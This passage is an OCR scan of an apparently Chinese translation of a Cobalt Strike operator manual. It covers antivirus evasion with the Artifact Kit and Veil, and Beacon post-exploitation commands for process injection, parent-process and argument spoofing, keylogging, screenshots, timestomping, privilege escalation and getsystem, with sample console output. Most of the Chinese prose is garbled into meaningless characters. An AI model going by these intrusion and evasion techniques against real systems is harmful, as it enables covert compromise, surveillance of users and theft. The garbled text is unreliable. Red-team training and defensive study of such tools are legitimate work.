Tl AR S 2RI BN BRI R S STRICR. INBLE, (RATREEREEp RS /HTEMHE
TELARIRIREI LR T E BRI

M Mail server (HPARSSES) FERSSIOM ... REEFIMIRSESER. REATLUEERTEMH
KAFRIRF RS, Random Delay EINEIF Cobalt Strike FEHUMAREHIEE—ERAIAE, &REA
BIS(RIEERIEL. WNRIETURIRE, Cobalt Strike AEFEIRAIXHRA

SMTP Host:  |192.168.95.139 }
SMTP Port: |25 }
Username: |mister \
Password: tbigglesworth 1

|

Random Delay: [80

[Tl Use SSL to connect to server

l Set

E130. EcEHpM4-ARSS =%

¥ Bounce RENRREIHMAAINIZAIERIEBEFHERBIE. XMEASHIWRHBERERINEME. _RE
Preview REERIXENRAMUGFAZ—H—HBSERMG. WRFNEE LEAE, < send KAE(R
AR .

Cobalt Strike BT HIPABRSS 28 A= FIE MR-,




567 & Payload Artifact Flzim=iEE

6.1 {H%

Strategic Cyber REBIRADSEHARIEB XHERIER, Cobalt Strike 2EREBSUT AV F=f? BiE
BIIPRLE AV 7R ? BB AME—IX?

Cobalt Strike BRIARY Artifact ATRES WA SR IGT MRS FZIZE ., MBEAR Cobalt Strike BRIAF=
FEIERY. B2 Cobalt Strike FsTRH T RiFEMH.

{RERIERERAILAZE Cobalt Strike FEERITERPERAITHITM. DLL. applet FIEIZELR,
(REATLALAZFHARRAMERSH Cobalt Strike f9 Beacon payload, XHaILASRETFHEEIHEIE=T
TE—ETF.

AEIBESNE Cobalt Strike 2R EHAIAITHARE,
6.2 Artifact T{4E

Cobalt Strike 8 Artifact THEESREMERIATHATIHHF DLL, XA Artifact THERE—NIRASE
28, TSI (build) BJLANNEE—LRmE - mAIRT HATILA4H] DLL,

Artifact T{HEEIBiC

EFRNRES T RERSERRCHITERERF. WRBANE—LBARCHER shellcode JEA—
AIHUT, BBARIBSF MRS shellcode FHEMATHUTI R A& R,

ATHWOXMEN, WEEBERLUFEMSIUEE shellcode FEEMA THEISG+, XMBETE
TR BN RE RIS BNRES T m.

RERFRERSFITEFAAMEN. XERFSmEU— TR TERE— N ENDEFRIHIT.
ERTHBNMENLS RS, XM RESF- Rt EEIURHESE P EAEEERD . EREART
TEROHIN, RESFRESEXNTHITIEL DLL #RC/EER. XTI 7 IFZ RIS iIE
FE, BiiiBENETEGNR AV e REENREERHRD.

Cobalt Strike SFULAINIIREZRRE R, XPMBHLEE—LRE]. XTEENEUN. 5L
RAFEFZDEALAEUNRGI T/, XA Artifact THER—LATHITAF DLL EIRIIES, XEETH
173140 DLL BRI T —E RR BT mASIEIURIEIR — 5 FRY shellcode BT,

—ERRIESRE: Artifact THEFEY src-common/bypass-pipe.c BRI HATAF0 DLL, 1XLEm]
PUTSUEFD DLL Bid A EIE A shellcode RS, BT R EIEEH) shellcode, MNRRBELHEAE
PSR EE, MAUNATIPLEMANEER shellcode,

Artifact T{4EESHRIIHES

R, RImESFRATREEM Artifact THEAAVFERNSTEL. IR — MBS IRERRY
Artifact TIHFERARRE TER, IPATOIERIRTHITINER DLL BHR. FRIKANEERIAT Cobalt
Strike 2.5 EETR({RAYRA. FEERTEAYIERE, Cobalt Strike ERANSHIRASIZHARY. WRIFE
BAWFIE Artifact THHEE, {REJLAERIXLE Artifact TSP T ARVE ST (RE O/
Artifact T{4£E5CH,

(ERPIHRXFEETEAY., —ERBESTREBE BiRSR. XL BRREZT T
DLL RERIFEERIEE RZRIMNRIRIARAAIHITI B DLL, —EX = ma BaRuERArI=
PUTIMEL DLL RXEI AT HE— SRR RMIREERF . Bt — L RSt R4 EL
DLL IAEERY. XEURTRES-RNIEIRE.


af://n19207
af://n19208
af://n19213
af://n19215
af://n19221

KR, EXMERT, BEAFRBEBEATIR, (FEENNEAENMGELIN, TEEHIIIERIR
RAR, IRROZGNENAEER—HMRXEER, SRE— EMNFaErR (bl
powershell) , FIFFEFIE(RAY payload stager ;ENHAFT,

YfaI{ERR Artifact T{4EE

BT Help — Arsenal (FESEEE) , 1E Cobalt Strike B EARFOE TEL Artifact TEEE, {REBATLLE
XM B AR ES AR T :

https://www.cobaltstrike.com/scripts

@ cobaltstrike.com/scripts B Q W

\ (ITGLTn ﬂ.'ﬁffﬂjmrrf" rmmmﬁ SUrFORT,

L oounLong

To access the Cobalt Strike arsenal
« Enter your Cobalt Strike license key below.

License Key: Next>

T

© 2012-2020 Strategic Cyber, LLC | Corporate Compliance & Ethics | Security Hall of Fame | Blog

Strategic Cyber BIRS(EATE Artifact THELL .tgz BIEHHD K. FH tar ipSWEHITHRE.
LIt Artifact THESE— build.sh BIA, 7E Kali Linux RF_ LEfTIHHIA, THEUSE, FHR
/IME GNU 3k Windows X X JmiEastaiZ EAARY Artifact T4EE,

artifact# 1s
build. sh dist-pipe dist-template script.example src-mailn
dist-peek dist-readfile README.txt S I'C = Common

artifact# ./build.sh
[+] You have a x86_64 mingw--I will recompile the artifacts

[*] Recompile artifact32.dll with srec- common/bypass-pipe.c
Warning: resolving DllGetClassObject by linking to DllGetClassObject@

--gnable-stdcall-fixup to disable these warnings
e --disable-stdcall-fixup to disable these fixups

E|31. Artifact T{4HEERIEITFE

Artifact THEEMEMASAE—IN Artifact THEFAACIZE— M S8R Artifact B934, &
1E1d Cobalt Strike SE{FERAFEINFY A, 18T cobalt Strike — Script Manager (HIAEIESS) , H
MIZEARRISH SN, artifact.cna BIA,

EIURESIMES Artifact THERERA, FEHBEFRNFEK. RERGN CEFRALUER
Artifact TIHEMEZ S, BBEAREFRRERRTREMABITLUER Artifact THE, tban, &
VIR KRR, ERORFESEEWRS Cobalt Strike AU M A AYRTHL 114:4@55%0 I=E]
Cobalt Strike 2.5, Cobalt Strike RUIXFRRRFIIRAINIREBEE AT HIT34F0 DLL R{FER T MR EER
R, KRB BREEATITXHERNGEEEFTMRREESE. TMENNER, —IRX—IXH
B, BGEESERANRRBHIENEERFR—IFEE,


af://n19225
https://www.cobaltstrike.com/scripts

6.3 Veil HLEHESS

Veil B2—NNATHIESE, BATFEREILABS R LR RS maVaT T34, (RATLAER Veil &7
Cobalt Strike B9 payload ERAIHIT . 1@1T Attacks — Packages — Payload Generator ,
SRR E N EH A R AT TSRS ITRS, 153R veil /ENMIHHZEEY, 1% Generate IRFHF(RFAH
X,

B30 Veil REEFEZRFEZR(FEEFERRIAR, Vel RS8BT shellcode AYAERLIEIN, 1%4% Vel
RIEFREBEEN shellcode”AUiEIT, 18 shellcode #4METE Cobalt Strike AY payload ARk E&ERIRISEH
B, 1% Enter BARIRIMSIRE— N FrEEHIPAY Veil FIFERIRTHITSUS.

Use msfvenom or supply custom shellcode?

1 - msfvenom (default)
2 - Custom

Please enter the number of your choice: 2
Please enter custom shellcode (one line, no quotes, ‘\x00.. format):

BE32. {# A Veil RAERR—NETHITSUE
6.4 Java IMEFRIE

Strategic Cyber BIREHEATLUINERERIF R Cobalt Strike FY/NEFRE R MRS, XSRS HAT
LATE Cobalt Strike RUEESER. 18IS Help — Arsenal (Hz=8E) FHTEIEFE.

FERASSAY build.sh BIASEZ Kali Linux Hig38/\ERFE. R Cobalt Strike I PERAXIRIE
PSR — MBI I EZAIASEZANUER S Cobalt Strike 89 Java INEFIEER. FIHEIUERX
G E,

(i Cobalt Strike ERRIVINVEFREMARHRERB, IMHEH/IMEFEEER applet.cna fif
=,

1E Cobalt Strike HEEERE _L/RETEZ Ppower Applet (Powershell /NERE) . iIXE Cobalt Strike
89 Java INERFINE({ER PowerShell B9, BT payload jEANATE. Power Applet BRT
(FEFERTEARENGIAER Cobalt Strike FITREREFHHEEI JBTF Cobalt Strike I T/ERFRIRIE
.

BT INE/NEFETE AR applet.cna i, BJLUE Cobalt Strike {ER{RAYINEFREMASHNER
1N,
6.5 HiREE

HiREER Cobalt Strike MEFEET/EFRFHERAI HTA, Powershell, Python, VBAF]VBA HlAtEiR
A973i%. FRE, BWIREETE Cobalt Strike RUEREEF, DTLAKEIEMBIAEFIRE. BT Help —
Arsenal R TEHEIRE.

RIREERY README. txt MHHICR T B SHIMATILINRERERE ). EME—T6R, FRXLEHA
PRI F R ERE T,

s Cobalt Strike FERM{RAIEIAEIRTIARA BRI AENR, INEFTREFHY resources.cna [
x,
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BEEREE

7.1 Beacon 4§18

£— Beacon 215 FEBAEAREFEE interact (RXH) FKFIFF Beacon fUEHIG. XNMEHIEZIR
A9 Beacon SiEAIERAF#EO. X1 Beacon EHIE RITFHAREMIES#HAIXEIT Beacon #1 Beacon
(B TEHESS. X4 Beacon =H &t EmSHmEilEREMSEMS,

Beacon 172.16.20.157@2368 X

beacon> pwid
asked beacon to print nurhlnq ﬂlrFerI$
alled home, sent: 8
t directory is C:
tuid
beacon to qet userid

eep 30 20
asked beacon to sleep for 30s (20% jitter)
I#+] host called home, sent: 16 bytes

[GRANITE] whatta.hogqg/2368 last: 23s

[& 33. Cobalt Strike Beacon =&

£ Beacon IZFHIEHIMANFIFHE Z BE—MNASE, XMRSEESXTLHRISIEIER. EEZ0A
FEEF, XMASERERERY NetBIOS &FR, P& HEISIER PID, LK Beacon RIA—IXE
%21 IR\ AR SS 28 A0R 1A,

[ Beacon KHAIBNMNGS, TiEE G Ul X215, #SEtBOHExRER. NR— 1 AKA
ET— i, Cobalt Strike ?‘ FRMAIAOREFR.

{§EF8 Cobalt Strike FUIZFES, {RAIBESEE KERYRTIBIIE Beacon 1=FHlEH, FrLATEZRRTESREEE
HEDSEIEREBR. 1£ Beacon IBHIEHEN help KEETBNGS. help+ind BILFKBETF
HEZ i SHNEMEEEE,

7.2 Beacon 3EE

£— Beacon LE&ifE— Beacon AUEHIE N BT AHENRIREN Beacon &8, XFSRRITH
Beacon IZHE (3B Interact ) HREIAYZEER,

* Access FREGEXERIUREFIRSIENRI—LIEIT,

. Exmore FHREGSERIRNFS BirR R B —LIEIR,

e J@Z pivoting FEER(RAILUEIT— Beacon RECE T ERIBEREFE.
e B session KEYRAILAEIEZEI Beacon &1F.
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Interact

i

Access

Browser Pivot

Bivoting * | pesktop (VNC)

Spawn File Browser
Session * | Net View
Port Scan

Process List

Screenshot

[E34. Cobalt Strike B9 Beacon &

—U Cobalt Strike F9RJHIfL, (IXRAEFISIER) IFHR—IRIEES A Beacon, BB EERNAS
HUREE N B TRrEIEER Beacon &1,

7.3 REHIZEHIVFE

BER, Beacon E—1FEM payload, SSASIEIMIT. BB TESTHNBAGI, 2 Beacon
EEFURAH R, B THRXERSHIRMITEN]. Y, Beacon £BFERMHIREAIR. INR
BMANBIR, B clear m<KIBEZRFI Beacon B BAT.

EABRT, Beacon B60FMERZZENR—IR, {REJLAFEA Beacon B sleep @ EXUXMTENRE.

{FF sleep EE—MIEHCKIERE Beacon IEHZENFRABIE, (REATLUEEE NS, XPMSHWMR
BE— 1099z BT, X MIFERIFIEF. Beacon StRIEFISENRIEIEFHIE S LLHENZS
WRREZZWRAORTIE. tba, sleep 300 20iX%K&p<, =15 Beacon BER 30070, B4Mg 20%

HRIENEF ., XERE Beacon EEIRERENRZ ELFEHAEIR 240 - 30070,

(5 Beacon BIEFZIRIEZENR, (FM sleep 0 @, X2 [ZREDER] . XFMEX THS
SY7EIT. FEROBERERIYEZBHRES/RAY Beacon {bF3zH#ER T, —L Beacon 454
(40 browerpivot. desktop %) £BEzNHIfE Beacon F MAEZENRITATFRERER T.

S=sm=_ A /N
7.4 13170
Beacon BY shell @$EXT Beacon RIS KEIZETHAY cnd.exe KHITHS. HpSTH
BY, Beacon &I REREAR.

R run @SR ABER ond.exe TS, run MSDBHEMHKIXLE(R. execute LREEER
78R, (BRERE.

5 powershell < RAREFA LR PowerShell k1T <. A powerpick mSAER
powershell.exe 11T PowerShell cmdlet, XMNap$iKEiF-E Lee Christensen FFARIIEIEE
PowerShell K, powershell # powerpick apSS{ERRNIYEISH ( token) ,

psinject AL RIGIHTERT PowerShell ;FENEI—MFERIAERFHMAIEZITIRAY cmdlet,

(i

powershell-import fpSEIE— PowerShell FIARS N Beacon 1, #1ERA powershell-import
SNBIAE, ETHRAEER powershell . powerpick # psinject X=AapSEBETLABRAIXMAZAHAY
BREL (cmdlet) . BRXMHIASABSIRNBERE— PowerShell A, BSN—NFREIZAGIRT
1®, E—MAAHEEE T . JLUBESA— M= UEKIES Beacon FENRIHIA.

execute-assembly @pE— A .NET ATHUTHES Beacon UG SEESFKIET. (RAILUE
SHUEREHREFE, FEEEN— Windows S HEIIET—FE. HSthaMR(RIXSETS
F&,
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WR(REHE Beacon N\—MFERIBRMITHS, 7 Beacon I=HIEHER cd dpS 3Kk Beacon i#
BHIT/EER. pwd B SRRMRYEEITER N B RSP IE,

setenv MYRIRE—MAETE.,

7.5 RiE(&iE

Cobalt Strike B9 Beacon sR¥I2—MaERIEdZ, LHRATLUFREISZEEHANAIENR, M—FFA,
Beacon FFEBHIFEREAY Cobalt Strike MIFEHEENIR,

{EF spawn @EA—NMEFRRIRE—IRIE. UL spawn GSEZ—LEM (U0: x86, x64) Fl—
MNETRHEAESEL.

ABERT, spawn pSETE rundli32.exe FRE—PMEIE. BEERBIEEEZ0RESAI
rundl32.exe FEHES Internet EMIEEHXMEEISR. AT BIFHESHENE, RolLKRIESENER
(40 Internet Explorer) FH#H spawnto dpRinBBEIREFSIERHES(HER Beacon FRIEME
}_\%_O

spawnto FPSSERIFISIAZEN (x86 IXE x64) MIATIRESIENEFNTERRR, BIHEHA
spawnto FSRIEIR enter £357R Beacon IREEHENAITA.

beacon? spawnto

[*] Tasked beacon to spawn features to default process

[+] host called home, sent: 8 bytes

BN inject +#HiE id + WIFSRZRE—NRIEEIN—MFERIAED, £ ps SRR
RIRSE LRIHIESIZR. (R inject [pid] x64 FIG—1 6417 Beacon iEFA— 64IHIET,

spawn 1 inject T<SEPE— payload stage ;FEANHAWTFH. R payload stage 2 HTTP,
HTTPS & DNS Beacon HEHELLZEREEUR, BARKBEARE—121E. WR payload stage 22—
4B7ERY TCP B SMB RY Beacon, X&ap<$aBat=iliE R F=HIXL payload.,

5 dllinject [pid] FE—MREIE DLLIFEANZI—NHTES.

£/ shinject [pid] [Z¥] [/#%4%/.../Ffile.bin] WEEMN—PIAMIZEPFEN shellcode El—
NERERGHEES, FH shspawn [22H] [/#&/.../Ffile.bin] BSRLIRE—NIHE (XNHF
HIZER spawn to SIBEHIRTHITIY) | ASIBIEER] shellcode X4 ( file.bin) JEAFEIXN
g,

£ d117l0ad [pid] [c:\Ef\...\file.d11] RSB —MHIEFINEHLE LAY DL,

7.6 FRAXHE

/A ppid [pid] @<RARE Beacon RIHEEITHIEF DB —MEAHE, X2 —FMHE(RA%ERD
581 ERIEETAMERGE. =81 Beacon RIEXREEARAXHENN R BRI EFAH
FEAURE Beacon FEMERMNEARIEF. MARE—NMRTHISER ppid @<, 21k Beacon &
FEASRIHEIEARHE. ™MERMERNRHE.

runu ARSIERB—MNEREAHERNTSES, XM aSEURSAOHEIIRIEESIER
178, ZHRIAY Beacon KRB EIEARXHENTZENIR, spawnu fiSRIRE—MIGETAIH
2, EA—MEEHENTFHE, 78— Beacon payload stage ;T N#ILHFE, spawnto RO{EIEH)
FAB—MERSRAEAIGRTHR.

7.7 (hiSiHiE S
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AEFENGSEEMESENE, BM2EEE— AR, EEFEYLUERMSENENGS.
24 Beacon 1IzfT—MLELH RIS <SHY, Beacon &

1. LUERIRSBeLEHEE (FRSE)
2. (FFSLE EMATEART
3. IREHE

XEHRERE, ICRHEEINENNREFSERIRSY. XEETFREIRIVELE.

£ argue [4] [EZ24] FIGHLIMAZILRERIIERF. [BIRBOUTESBINREE, FH
argue [command] AF<RMULRBRFIRPHEE— 1<, BIMAY argue AFLRTEFIHIXAERIIZER
PRI

HIZLECBIERNEMAY. W3R Beacon XG5 net.exe 12, BEASNERINERTIZFRAITES net,
NET.EXE, 8 c:\windows\system32\net.exe , BIF{X{XITEL net.exe,

x86 Beacon REEMNIE x86 FHIZFAISEL. FIFFRY, x64 Beacon {XXEE(NIE x64 FHIZFRISEL

LIRS ENRFENSHNATTE. WRIRSEHLISEK, BoEaMak.

7.8 FittERFELE (AERERZE=RY) DLL MNE

{3 blockd11s start iEXK Beacon {fR— P THFIERRIEENFHE, ZRESNHET( A
BELERTEAFAARAT DLL, A blockd11s stop SREALLITA. XMFHEEK Windows 10,

beacon? blockdlls start

[*] Tasked beacon to block non—Microsoft binaries in child processes

7.9 HEMTHEIE

download &R THIEBRINM. (FAFEE—IMHETHRINHAZRIEIISS. Beacon #iRiT/S
RERIEEEIE. EERNEREIFMIRS SR, Beacon 2 THEMESERKBNE— N UFHERELR
INRIER, XMREYA/NEURT Beacon ZRIRYEIEEIE. HTTP A1 HTTPS iBIBSHAIEY 512kb RIEUE
R,

BN downloads a3 KREEZRI Beacon IEFEHTAIS G FEGIR. A cancel apil— M4
SREGHIEFEH TH— N TEAESS, (RETLATE(RRY cancel @S HP{ERIBRCATSR—RBUEZ N UF TEAE
22

T

f£ Cobalt Strike i@ view — Downloads KEFEIRAIEIPAICSHIEE TEAYSMH . HET-RFR
BRI TEAE. TEINHSEEERRS . BEXHERRURNRR L, SE=iEHiX
Lo, SARERTE sync Files (FIE3M4) . Cobalt Strike RFGEEIRAIUS FHENRNAR S LIRIEE
HISZET.

upload < EE— 1 SEFREIBInENL.

SR EE—IRT, BRHMREEEERI A RIR BB ERR N E—3 4 FRORMES 4. /3
timestomp AFEITAULT(E. timestomp GpSEF— M HAVENBIELIEBIEAEIZIAEES
B—XHHETE.

beacon?> help timestomp
Use: timestomp [fileAl [fileB]

OUpdate the Modified, Access, and Created times of fileA to match those of fileB

7.10 (NS EE
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Beacon RIS HNISEE AFRIRM T — MRRZER S LASUHEIS. BT [Beacon] — Explore —
File Browser R¥TFHIENILEES.

MHNERERIEK Beacon FIARITIFERFIR, JBEREREIZE, XHNLHEREEREARNXHE
x.

MHENERRRIA MR — RSN, %SRS EANRIIK IR IS R AL — MBS, SN SERsrIa N
R T SRR A,

Files 10.10.10.191@6768 X [
= G C 1 el [C:\USErS\lIM‘STEVENS
# [ $Recycle.Bin ... ~ Name Size Modified
[ Documents and Settings E - MEFETTTE N
i m 1 1 1
+ [ Program Files (x86) S s
- . W Pri 1 | :
+ [] Program File
B ProgramData L1 Recent 10/25/2018 22:47:29
3 12/17/201 1:25
=]
"] 1 1 1
@
e L3 1 201
N = t 1 1
g m T 1 1
=- [ Users )
M ad = 1 1 1
- 0 NTUSER DAT 2mb 04/28/2019 19:49:15
= It @ ntuser.dat.LOG1 352kb 10/25/2018 22:47:29
- N It [} ntuser.dat.LOG2 112kb 10/25/2018 22:47:29
Sl M STEVENS D NTUSER DAT{8ebeS5f7-3dcb-11e... 64kb 10/25/2018 22:54:58
) . r (] NTUSER DAT{8ebe95f7-3dcb-11e... 512kb 10/25/2018 22:54:58
o Ao . D NTUSER .DAT{8ebe95f7-3dcb-11e... 512kb 10/25/2018 22:54:58
- T O  ntuser.ini 20b 10/25/2018 22:47:29
. - | ntuserpol 500b 10/25/2018 22:55:41
| upload... |[ make Directory || List Drives |[ Refresh |[ Help |

EI35. ST

B RSRRESEFHRNEIRNARFIR, FaBNARFRRZI RN BT IS XIS RRA%E
7. (FAILASTMEEFRISUGSRMAER— M AFIRBK. & Refresh 2EKBeaconEH=
HIREX,

— NRRBRIM R RTNZIUE SRR B MEL S NS RRE T, RENTPRI— P HIskE
Beacon R —MESHKIIHE AL THRE (HEHCHET) . WEEM=SEASNEFIGR
REIARAT LA TRREIR(E.

BRIk, REAMIFASANERRISAIZE, RIS EEN. SRR ARE
ZXHENERETTD, (FRSMZIERER, WRXIHRAE AR RAIETT, MBSt
B —MESSRFH R A RAIRE.

AN AR T HEMERE.
HEBEYBIREIEE, 1BIR List prives (FIHIKENES) .

7.11 XHER RS

{RETREEEZRM Beacon fZHIGFNSHURIFSXHRS, SEhr HIRBATLUXEEM. £/ 1s <RI
SRIERTRI S, (£ mkdir G3SREFE—NER. rm BSSBBFE— MK, o R
SEH—IHRIBRE. mv G KB,

7.12 Windows;¥ifz&

58 reg_query [x86|x64] [HIVE\path\to\key] XREfFMERF—NMEEHHE. XN HSFTED
FERHEID— N FREIVFIER. x86/x64 BIEIEWM/NAY, 8% Beacon {#F WOW64 (x86) HiFffE
AOARHIANE., reg_query [x86|x64] [HIVE\path\to\key] [value] SEIEFMENFEIMEATE
:EEEER

7.13 ERICFINREE&E

Beacon #£ZICFHIE RN TERKIZIT AEANS— NHEHHEERIRELA/RAY Beacon,
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EFRRRRICRES, F keylogger pid RKFEN—1 x86 F2/F. {#F keylogger pid x64 KEAN

—/N x64 F&F. Explorer.exe B—MFAURERERF. (FARMAY keylogger M KIGHAIDRITE
A—NMERREF. BRICRESBUMNEEINNERFRIREZICRIEER RS Beacon, BEIER
KIS ERRT T X MERICRESEES.

ylogger 16180 x64
to 1 16180 (x64)

ce shuo tuijian zhu explore

KR EICRES:

beacon> jobs

[*] Tasked beacon to list jobs

[+] host called home, sent: 8 bytes
[*] Jobs

JID PID Description
16180 keystroke logger
[+] received keystrokes
beacon> help kill
Use: kill [process id]
Kills the specified process

beacon> kill 16180
[*] Tasked beacon to kill 16180

[+] host called home, sent: 12 bytes

[+] received keystrokes

BRFINB—MEFELENR AR, RASSICRIRAEIEEICR. LS explorer.exe £
BEANTHEHAFEE, LUHRENT chrome.exe BFABFTRE chrome XTHLSE T, FEEEEW
FENXNMEFBASIEARE, FiLA explorer EANNFAIERE.



HiIs, STRBICRFTREERIR, WENEESERNER—MERICRS,

ERBFREEE, FF screenshot pid REEHFEIEFAEI— x86 HiHFES. {FF screenshot
pid x64 JEANFI— x64 HIEH., BEFFRY, Explorer.exe B—MFANURIEIER, screenshot dF<HY
THBRE—NEEFEL. MR screenshot MSRBERETRIFIANE—NMERHRES. FH
screenshot pid 44y i RiFKEF L RSTIEEIPEFHES X Beacon EEEIFM RS 2:H
MERE—KEREE. XEEERFREN—MEEDE.

2 Beacon EEIFFESEREREICRE, B0 Beacon IFHIERE—FKER. NIFEFEE
MO RNERNBTTAET Beacon HHEEE, EEEEAICERNEKEE, B view —»
Keystrokes REEMRHIFFE Beacon £FHICEANEERICH. Eﬁgékﬁﬁ’ﬂawﬁ%, BT view
— screenshots KXEMIRAIFTE Beacon RIEFRENAVER. XA IEEESMEETEEAHAN
&, XEIHEEFHEES— MR ERATLBEREISEIIMFTE Beacon SIEFIREAIEEICRINER.

7.14 [5iEEES

—Lb Beacon UINEEES— MNAEHEAESET (flaN, BEICRFNFEEETE) . XEESHE
adiefs, #& TH%EJ‘TE%EEBJ':H {§F jobs M<SEKREBTE(RAY Beacon FETHES. FH
jobki1l [job number] EFRIE—MES.

obkill [job Ip]

top a long-running post—exploitation tas]

FEXER ki1l 0 3 jobkill 1 MEHEZEREW.
7.15 HIENILEES

HENERMIVSIBEMS N, BEX— Beacon NMAMRERHIEIRNREEMSERIES. £
RN, {R Beacon FUZERIHERKEBERLRKT .

‘Arch

968
900 1012

svchost.exce
Refresh. | [ Log Keystrokes | [ screens! hot | [ steal Token | [ Help.

FEE: BASHENSEREEE NP, =581 Beacon IZ1T7E powershell.exe &1, ENFZRIHY
payload 2 Powershell Command , X#FHIAT EZRY.

HIENERAI AR S ERHIEFMES. HENSSREENS— M HERESHE. BERFIENE
HERZICRSCRSERTS, EP— S MER (RE Ctr'l BERIEFILUSIE) FRIZ
RIERBRAITERIZEH.
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Processes 10.10.10.191@6768 X
1 3£8U: SQIMOTOKer.exe - | PID PPID Name Arch Session User
[[]4084; Searchindexer exe fpaai TTY SN TUSTICAT AT * U IThate v R
[ 916: MsMpEng.exe 92 792 svchost.exe x64 1 CORP\jim.stevens
[ 1944: NisSrv.exe 2376 1416 taskhostw.exe x64 1 CORP\jim.stevens
[M92: svchost.exe 3772 1136 ctfmon.exe
[[13364: suchost.exe 6 £ explorer.exe > CORP\jim.stevens
B 816: Isass.exe 3364 792 svchost.exe
[ 940: fontdrvhost.exe 4048 208 dlihost.exe x64 1 CORPYjim.stevens
= M 740: winlogon.exe 4252 908 ShellExperienceHost exe x64 1 CORPYjim.stevens
[ 932: fontdrvhost.exe 4336 908 RuntimeBroker. exe x64 1 CORP\jim stevens
[556: dwm.exe 4368 908 SearchUl.exe x64 1 CORP\jim.stevens
2 @ 4448 08 RuntimeBroker.exe x64 1 CORP\jim.stevens
[ 4864: MSASCulL.exe 4748 908 ApplicationFrameHost.exe x64 1 CORPYjim.stevens
[ 3384: vmtoolsd.exe 4796 908 smartscreen.exe x64 1 CORP\jim.stevens
[ 6264: OneDrive.exe 5032 908 MicrosoftEdge.exe x64 1 CORP\jim.stevens
= [)240: powershell.exe 1124 908 browser_broker exe x64 1 CORP\jim.stevens
16708 conhost.exe 1872 908 SkypeApp.exe x64 1 CORP\jim.stevens
- [£]6768: powershell.exe 2948 908 SkypeBackgroundHost.exe ~ x64 1 CORP\jim.stevens
[ 6392: conhost.exe 5204 908 RuntimeBroker.exe x64 1 CORPYjim.stevens
W 6584: jusched.exe . ||54e8 908 MicrosoftEdgeCP.exe x64 1 CORP\jim.stevens
‘4 » 5476 908 MicrosoftEdgeCP .exe x64 1 CORP\jim.stevens -
Kill I Refresh ] I Inject H Log Keystrokes ” Screenshot ” Steal Token ] { Help '

El36. HIZNE

ANER(RIEHF T 21 Beacon FHiL BT HFE, W Cobalt Strike B ENHTERNEE, HENNIESE
BRIAFERE AN, XAHEN GRS AR IR EZ N ESREPE Beacon E’J}:;% ETHE (RIS
Reg. BHE) WEESZE. GRORHESHRF, EHRNBRENRS LIRBSGBRIHTE, AEK

Log Keystrokes E¢# Screenshot HERIGXL T AEPERFIBXLIEFHIENRSR.

7.16 SHE#EH

E58HFENELNRERE, @ [beacon] — Explore — Desktop(VNC) . XEE— VNC RS
BEHE N\ HEIHIEMAFHFHIET Beacon XEZEEFHE

2 VNC IRSSE8HESE RS, Cobalt Strike £FJFF—/Mr&/J pDesktop HOST@PID HINRETR

tRTLAfERS Beacon Y desktop @p<&SRIG— VNC IRSZEEN—MFERIHIE, (M desktop pid
%K Towlhigh 3%, RE—1MESHATIEE VNC 2IERIER.

Console X| exploit X‘ exploit x| Desktop 3 X|
| ' -

# solitaire
zame  Help

—_—
4 Start 3 sboue-blark - Microso. ., E caleulstor

[E37. Cobalt Strike EEEESE
REMEREREFE— LR, B1F:
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syl
NEE

IR

HEINGER

48HZ100%
BEENEEEEGTRE R

Lpeo ke

A1k Ctrl + Escape
e Ctrl §2
HHE Alt 5

=5

MRRTEE— N REEIRHEN, E ctrl 7 ATt ZHIPRES, TIeXEMREEFRIE MR
T7, {ROFFESEICRESMER ctrl 8 Alt BIFFRIE. & ctrl 8 Alt EERXAT
73, EHHR view only RBHIET. ATHEILFREINIBHNER, view only HEVAETT,

7.17 RIEH
—EESEROERRGEERRBIONR. Beacon BILMEMREFHAITURIME,
Tl iR

I elevate FFHIHTE Cobalt Strike FFEAAHINPRIET R, 1&1T elevate [exploit listener]
k= ERNERNREF AR, {RBrILUBE [beacon] — Access — Elevate KEaHEHAH—
NimEFIA.

B Cobalt strike
Cobalt strike View Attacks Reporting Help

OO EH=E¢ B PU GwBE P B
internal ~

external

BEEE: F CS3.14 B BRFREE

BAYh{ER runasadmin 452, EFHIHTE Cobalt Strike AFABRIRSRIRFA45S. 1E4T runasadmin
[exploit] [command+agrs] REXERINBIGFIAZFEITHRFENGS.

FETE: RRERENNIGIIMNETEIT RS, FEREIARSIBRANR, X NIEESH
RERI— M THE] - FRAHE] - [ Tar <1 - (R HIFHAEL
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Cobalt Strike #EXASRRFA B SHSE EENRENRRSH T, BA—EATRNNKERRE
SENBERNE. BftREE—MNETHaSHRE. A1 [ETtaS] NRERE— I SES
SHEXERSFUARRZUFNIEFAKARFH (XFLEEFH) . £/ runasadmin, {FAJLL
BHEREZ—MIHITXHE#E EFZITE, &1T PowerShell BT, SEERLIZE LHISSH
Fe

[4.037T08E] WNRIRIBEREMH PowerShell BBIFIZFERIRESIE, Bid [session] — Access —
one-Tiner , YHESTE(RAY Beacon RURMEEII—MNAIMAY web IRFZ2IFRITE— payload stage
FHRE— PowerShell 654K FEFIIEITIX/ payload stage, X4 web [REZEE—XMEN., —BIi&E
ETR, EHeaREEHELRSE TR payload, MRFELTERIEIT— TCP & SMB iy
Beacon, {REEEFFIAIER connect iRREHEHZEZIRTER payload ##]. BIMETEUMRIFIXEE
FI— 64 {3 payload , #NSR{/RAY $PATH G2 x86 B PowerShell BRAFGETRESSLTL,

m Powershell One-liner S S = S 4

Genearate a single use one-iner that runs payload
within this session,

Listener: [tcp 4440 |E |

=64 [ Use 54 payload

[ Launch H Help ]

E38. PowerShell B85/

Cobalt Strike ;2 BRZAEBERNRINUEIN. ZABRFIBRIFFAAZ Strategic Cyber BIRFEATNL
fFER. #AMEE Cobalt Strike Y Aggressor BIARIZIES JLMRB ZRIUSEAIRIIAR, EEF XL
IRBUERMKISHE, THIRMR TS (Elevate Kit) . IRINTHERE— Aggressor fild, Tit—L
— I ERRRGREIRIEERKZE Cobalt Strike #1 (https://github.com/rsmudge/ElevateKit) ,

(EFEMTIERIN

85/ runas [DOMAIN\user] [password] [command] EEFEEEFIEIERUEMEBRSMIET—
DS, X runas ESASIREUEETHE Y., B2, REATLEIRSR ETFXHER runas ,

{83 spawnas [DOMAIN\user] [password] [command] fEREMAFIEIERLAEMERSHIRE
—2ME. P SIRE—NMEITEHEFHE(RIY payload stage iIENFHABMNHTZ, (REATLUED

[beacon] — Access — Spawn As (TS,

ERXM SR, BHES, SID AR 500 HIKSHERSIRE— 1 PFEE L TXXHRT payload,
IRISHEEMEM Bypass UAC KIRNE— N STEM LT, RIFEEER, (REZAREWRFBTLAER
TSR PIETIX L <.

3RHY SYSTEM (S

{EF getsystem GpRARH— SYSTEM IKSHISHE. IHEFRALUSIHRAITERRAFTIER
